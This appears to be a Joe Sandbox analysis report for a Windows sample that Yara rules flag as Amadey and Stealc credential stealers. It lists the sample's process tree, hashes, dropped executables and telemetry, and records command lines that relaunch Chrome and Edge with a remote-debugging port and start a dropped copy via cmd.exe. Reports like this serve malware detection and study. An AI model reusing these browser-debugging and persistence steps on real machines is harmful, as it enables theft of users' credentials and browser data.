2024-11-05 19:51:33 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 19:51:33 GMT Content-Type: text/xml Content-Length: 1377 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:02 GMT ETag: "0x8DC582BEAFF0125" x-ms-request-id: 4b8e26e4-601e-00ab-715f-2e66f4000000 x-ms-version: 2018-03-28 x-azure-ref: 20241105T195133Z-158dbd74bf4gbnjwhC1SN1gt5000000004fg000000001gbq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-05 19:51:33 UTC	1377	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 37 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4f 75 74 6c 6f 6f 6b 44 65 73 6b 74 6f 70 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700750" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Outlook.Desktop" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenOutlookDesktop" S="Medium" />

Target ID:	1
Start time:	14:50:57
Start date:	05/11/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0x3c0000
File size:	3'301'888 bytes
MD5 hash:	1F851E1840E1A5A45D8C21630061CFC7
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000001.00000002.2153506068.00000000003C1000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	14:50:59
Start date:	05/11/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0x780000
File size:	3'301'888 bytes
MD5 hash:	1F851E1840E1A5A45D8C21630061CFC7
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000004.00000002.2183982105.0000000000781000.00000040.00000001.01000000.00000007.sdmp, Author: Joe Security
Antivirus matches:	Detection: 53%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	14:51:00
Start date:	05/11/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Imagebase:	0x780000
File size:	3'301'888 bytes
MD5 hash:	1F851E1840E1A5A45D8C21630061CFC7
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000005.00000002.2189593020.0000000000781000.00000040.00000001.01000000.00000007.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	14:52:00
Start date:	05/11/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0x780000
File size:	3'301'888 bytes
MD5 hash:	1F851E1840E1A5A45D8C21630061CFC7
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000000F.00000002.3359832839.0000000000781000.00000040.00000001.01000000.00000007.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	16
Start time:	14:52:10
Start date:	05/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe"
Imagebase:	0xe20000
File size:	3'181'568 bytes
MD5 hash:	984C35EEA09867A632CC39215473E64B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000010.00000003.2880163907.0000000000C35000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000010.00000003.3052944187.00000000082F0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000010.00000002.3403739193.0000000005DE1000.00000040.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000010.00000003.2894254815.0000000000C33000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000010.00000003.2892935621.0000000000C33000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000010.00000003.2878923778.0000000000C35000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000010.00000003.2909600994.0000000000C33000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000010.00000003.2893604716.0000000000C33000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000010.00000003.2892687304.0000000000C33000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000010.00000003.2924440913.0000000000C33000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000010.00000003.2892851979.0000000000C33000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 39%, ReversingLabs
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	17
Start time:	14:52:16
Start date:	05/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1004195001\2bbe886987.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1004195001\2bbe886987.exe"
Imagebase:	0x750000
File size:	2'157'568 bytes
MD5 hash:	47BD0F65BDD541918D45ECDDC51E18B3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000011.00000002.3372681465.000000000149E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000011.00000003.2914827071.00000000051B0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000011.00000002.3359810844.0000000000751000.00000040.00000001.01000000.0000000C.sdmp, Author: Joe Security
Antivirus matches:	Detection: 50%, ReversingLabs
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	18
Start time:	14:52:20
Start date:	05/11/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):
Commandline:	"C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Imagebase:
File size:	3'301'888 bytes
MD5 hash:	1F851E1840E1A5A45D8C21630061CFC7
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	19
Start time:	14:52:23
Start date:	05/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"
Imagebase:	0x7ff684c40000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	14:52:23
Start date:	05/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2324 --field-trial-handle=2088,i,2163405912053765820,6298908973579376615,262144 /prefetch:8
Imagebase:	0x7ff684c40000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	14:52:25
Start date:	05/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe"
Imagebase:	0xe20000
File size:	3'181'568 bytes
MD5 hash:	984C35EEA09867A632CC39215473E64B
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000015.00000003.3292954731.00000000081B0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000015.00000003.3038780954.0000000000B19000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000015.00000003.3117476776.0000000000B19000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000015.00000003.3143240349.0000000000B22000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000015.00000003.3143174340.0000000000B19000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000015.00000003.3038308600.0000000000B16000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000015.00000002.3395872833.0000000005BF1000.00000040.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000015.00000003.3117252547.0000000000B18000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000015.00000003.3040588528.0000000000B18000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	22
Start time:	14:52:26
Start date:	05/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1004197001\23e9bcc0a0.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1004197001\23e9bcc0a0.exe"
Imagebase:	0xea0000
File size:	2'859'008 bytes
MD5 hash:	C12AB1B32E3CF94C08F7C05CF2EE1128
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 37%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	14:52:30
Start date:	05/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5968 --field-trial-handle=2088,i,2163405912053765820,6298908973579376615,262144 /prefetch:8
Imagebase:	0x7ff684c40000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	14:52:34
Start date:	05/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1004195001\2bbe886987.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1004195001\2bbe886987.exe"
Imagebase:	0x750000
File size:	2'157'568 bytes
MD5 hash:	47BD0F65BDD541918D45ECDDC51E18B3
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000018.00000003.3096329749.0000000005190000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000018.00000002.3359791803.0000000000751000.00000040.00000001.01000000.0000000C.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	25
Start time:	14:52:36
Start date:	05/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\\Program Files (x86)\\Microsoft\\Edge\\Application\\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default"
Imagebase:	0x7ff715da0000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	26
Start time:	14:52:36
Start date:	05/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2368 --field-trial-handle=2296,i,7716630542487590331,11907204266524124684,262144 /prefetch:3
Imagebase:	0x7ff715da0000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	27
Start time:	14:52:36
Start date:	05/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=Default --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate
Imagebase:	0x7ff715da0000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	28
Start time:	14:52:37
Start date:	05/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=3056 --field-trial-handle=2036,i,172754923864739976,11156869851450121844,262144 /prefetch:3
Imagebase:	0x7ff715da0000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	32
Start time:	14:52:41
Start date:	05/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=6960 --field-trial-handle=2036,i,172754923864739976,11156869851450121844,262144 /prefetch:8
Imagebase:	0x7ff6f2da0000
File size:	1'255'976 bytes
MD5 hash:	F8CEC3E43A6305AC9BA3700131594306
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	33
Start time:	14:52:41
Start date:	05/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=6960 --field-trial-handle=2036,i,172754923864739976,11156869851450121844,262144 /prefetch:8
Imagebase:	0x7ff6f2da0000
File size:	1'255'976 bytes
MD5 hash:	F8CEC3E43A6305AC9BA3700131594306
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	34
Start time:	14:52:41
Start date:	05/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=5112 --field-trial-handle=2036,i,172754923864739976,11156869851450121844,262144 /prefetch:8
Imagebase:	0x7ff715da0000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	35
Start time:	14:52:41
Start date:	05/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=7304 --field-trial-handle=2036,i,172754923864739976,11156869851450121844,262144 /prefetch:8
Imagebase:	0x7ff715da0000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	36
Start time:	14:52:43
Start date:	05/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1004197001\23e9bcc0a0.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1004197001\23e9bcc0a0.exe"
Imagebase:	0xea0000
File size:	2'859'008 bytes
MD5 hash:	C12AB1B32E3CF94C08F7C05CF2EE1128
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	39
Start time:	14:52:52
Start date:	05/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe"
Imagebase:	0xe20000
File size:	3'181'568 bytes
MD5 hash:	984C35EEA09867A632CC39215473E64B
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000027.00000002.3372485323.00000000017D1000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Has exited:	false

Show Windows behavior

Target ID:	40
Start time:	14:52:59
Start date:	05/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=3060 --field-trial-handle=2036,i,172754923864739976,11156869851450121844,262144 /prefetch:3
Imagebase:	0x7ff715da0000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	41
Start time:	14:53:00
Start date:	05/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1004195001\2bbe886987.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1004195001\2bbe886987.exe"
Imagebase:	0x750000
File size:	2'157'568 bytes
MD5 hash:	47BD0F65BDD541918D45ECDDC51E18B3
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	42
Start time:	14:53:01
Start date:	05/11/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsJEHJKJEBGH.exe"
Imagebase:	0x1c0000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	43
Start time:	14:53:02
Start date:	05/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	44
Start time:	14:53:02
Start date:	05/11/2024
Path:	C:\Users\user\DocumentsJEHJKJEBGH.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\DocumentsJEHJKJEBGH.exe"
Imagebase:	0x690000
File size:	3'301'888 bytes
MD5 hash:	1F851E1840E1A5A45D8C21630061CFC7
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 53%, ReversingLabs
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	4.2%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	4%
Total number of Nodes:	774
Total number of Limit Nodes:	16

Executed Functions

Function 003F652B Relevance: 1.5, APIs: 1, Instructions: 24COMMONLIBRARYCODE

Download Yara Rule

APIs

ExitProcess.KERNEL32(?,?,003F652A,?,?,?,?,?,003F7661), ref: 003F6567

Memory Dump Source

Source File: 00000001.00000002.2153506068.00000000003C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003C0000, based on PE: true

Associated: 00000001.00000002.2153471861.00000000003C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2153506068.0000000000422000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2153735071.0000000000429000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2153813808.000000000042B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2153834550.0000000000437000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154054440.0000000000597000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154076782.0000000000599000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154127035.00000000005B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154145730.00000000005B3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154167396.00000000005B4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154167396.00000000005C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154222391.00000000005D3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154248162.00000000005D7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154330705.00000000005D8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154360845.00000000005D9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154389772.00000000005EC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154417948.00000000005EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154437633.00000000005F0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154463164.00000000005F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154484888.00000000005F9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154759869.0000000000605000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154797773.000000000061C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154923641.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155045829.000000000061E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155067670.0000000000622000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155090065.0000000000629000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155115405.000000000062C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155139636.000000000062E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155166643.0000000000633000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155192466.0000000000647000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155213928.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155236632.000000000064F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155257037.0000000000650000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155276674.0000000000651000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155296953.0000000000652000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155316972.0000000000653000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155338351.0000000000658000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155366827.0000000000659000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155392749.0000000000661000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155418128.0000000000677000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155438922.0000000000679000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155438922.00000000006A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155525595.00000000006D0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155553020.00000000006D1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155658004.00000000006D6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155675773.00000000006D8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155703099.00000000006E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155730789.00000000006E7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3c0000_file.jbxd

Yara matches

Similarity

API ID: ExitProcess
String ID:
API String ID: 621844428-0
Opcode ID: 16f2a2a37edbffe94f66a57efd383a99697495c5ded57397c56d70a1ee98838c
Instruction ID: f0e43f553850d657cbeff27062dd3927fcc72067224aa83eafd5ff5ba97e2578
Opcode Fuzzy Hash: 16f2a2a37edbffe94f66a57efd383a99697495c5ded57397c56d70a1ee98838c
Instruction Fuzzy Hash: E9E0863000060CAFCE267B55C81A9693B5AEF02759F154810FA0C5A131CB25ED41D580

Function 04D20BF4 Relevance: .4, Instructions: 362COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2158367901.0000000004D20000.00000040.00001000.00020000.00000000.sdmp, Offset: 04D20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_4d20000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
